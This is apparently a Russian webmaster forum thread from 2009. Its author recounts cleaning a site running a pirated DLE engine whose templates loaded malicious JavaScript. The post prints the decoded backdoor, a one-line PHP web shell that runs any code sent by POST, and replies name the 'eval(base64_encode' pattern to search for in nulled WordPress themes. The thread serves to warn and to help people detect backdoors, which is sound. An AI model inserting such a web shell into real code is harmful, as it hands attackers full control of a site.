Всё началось с того, что меня попросили посмотреть сайт, у которого глючило gzip сжатие. Через некоторое время я выяснил, что в уже сжатый код дописываеться какой то html код. Стало ясно, что на сайте кто то или что то очень грубо вставляет свой код. Движок сайта - DLE. Как потом выяснилось пиратская копия.
Сам код выглядил как подключение javascrip со стороннего домена. На этот скрипт ругался антивирь и стало ясно, что сайт заражён.
Я скачал весь сайт на винт, прошёлся по ним поиском по файлам. Оказалось во всех шаблонах подключался это js. Я всё почистил, залил обратно. Все пароли мы сменили, владелец проверился на вирусы.
Однако через некоторое время вновь все файлы с шаблонами были модифицированы. Тогда я уже полез в исходники и обнаружил стандартную структур бекдора:
Для не понимающих в php эта конструкция позволяет выполнить код зашифрованный алгоритмом base64 (типа такого DSdffsdSDF4f4ff5hcfxcvt6G4ffs). При расшифровке я увидел опять же самый галимый код использемый для простого получения контроля над сайтом
PHP код:
if ($_POST['code']) eval($_POST['code']);
Эта конструкция позволяет выполнить любой php код отправленный из простой формы с любого другого сайта. Т.е. злоумышленник спокойно получает доступ к вашему сайту.
Владелец сообщил, что он установил DLE скачав с какого то левого сайта, т.к. официальный дистрибутив требует лицензию.
Вот и попались на халяве, господа. А ведь почти половина ломаных скриптов имеет в себе "сюрпризы". Пользуйтесь только официальными дистрибутивами, скачанными с оф. сайта. Если нет денег на лицензию, используйте бесплатные движки. Не надо искать халявы, ибо на халявщиках потом наживаются производители халявы.
PS: За время пока на сайте жил скрипт, яндекс уже успел занести его в разряд "могут нанести вред вашему компьютеру"
Последний раз редактировалось noxon.su; 12.12.2009 в 18:45.
noxon.su, спаписбо за совет, всем на это нужно обратить внимание. Так что лучше заплатить и купить лицензию, чем пользоваться всякими бесплатными вариантами, из-за которых можно лишиться гораздо больших денег, усилий и нервов.
Более того, постоянно встречаю нклуд стороннего кода в шаблонах и плагинах от wordpress. Советую всем перед установкой последних проверить все файлы на наличие eval(base64_encode
когда есть вредоносный JS то это действительно ***** (
когда-то встречал в нуленой вобле в футере около 10 скрытых ссылок. так и не нашел где этот код выводился в шаблоне, пришлось менять весь дистрибутив и заново подключать к базе.
Так что после заливки сайта воспользуйтесь тулзами, которые показывают сколько внешних ссылок с сайта стоит
Более того, постоянно встречаю нклуд стороннего кода в шаблонах и плагинах от wordpress. Советую всем перед установкой последних проверить все файлы на наличие eval(base64_encode
Так таким же образом кодирует свои ссылки в футере. А что то я не встречал никогда.
Так таким же образом кодирует свои ссылки в футере. А что то я не встречал никогда.
да в каждом втором бесплатном шаблоне для WP есть кодированный код со ссылками. (смотря где качать конечно) Часто помимо самих ссылок кодируют еще и часть шаблона, так что после удаления этой php вставки в браузере едет сайт... Опытному верстальщику это исправить как 2 пальца обо.. а вот другим приходитсья мирится или брать другой шаблон.
mall, да вот не скажи, я совсем неопытный верстальщик, но вырезать структуру "eval(base64_encode(" и вставить её в строку поиска яндекса как-то додумался Сразу-же нашлось очень много онлайн-декодеров, единственной проблемой была моя мысль что вставлять нужно зашифрованый код, а структуру перед ним нет, потому психовал пол часа, потом вставил и всё нормально было :) Ещё Леднёв писал в своём блоге что можно вместо base64 какой-то другой оператор и всё само раскодируется и будет нормально отображатся. Так что и для "не верстальщика" разобратся с этим кодированием тем тоже просто) Другое дело - когда в новых шаблонах всё настолько накручено в сайдбаре например, что просто понять не можешь где и что находится, для этого нужно знать php